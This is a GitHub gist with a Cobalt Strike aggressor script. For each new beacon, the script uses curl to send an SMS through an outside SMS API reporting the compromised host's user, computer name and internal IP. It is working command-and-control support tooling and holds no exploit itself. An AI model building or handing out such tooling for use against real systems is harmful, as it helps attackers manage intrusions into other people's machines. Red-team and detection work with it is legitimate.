Skip to content

Instantly share code, notes, and snippets.

@Acebond
Created June 10, 2021 00:28
Show Gist options
  • Save Acebond/b71306f0a16be2920de98e67ee20c209 to your computer and use it in GitHub Desktop.
Save Acebond/b71306f0a16be2920de98e67ee20c209 to your computer and use it in GitHub Desktop.
Cobalt Strike aggressor scripts to send a text message notification for new beacons
# Send a text message for new shells
# Replace HOSTNAME, USERNAME, PASSWORD and PHONE_NUMBER.
# Uses transmitsms.com so you'll need an account
on beacon_initial {
$user = beacon_data($1) ["user"];
$computer = beacon_data($1) ["computer"];
$internalIP = replace(beacon_info($1,"internal")," ","_");
$msg = "New Beacon " . $user . "@" . $computer . " (" . $internalIP . ") on HOSTNAME Teamserver";
exec(@('curl','-X','GET','-G','--url','https://api.transmitsms.com/send-sms.json','-u','USERNAME:PASSWORD','--data-urlencode','message=' . $msg,'-d','to=PHONE_NUMBER'));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment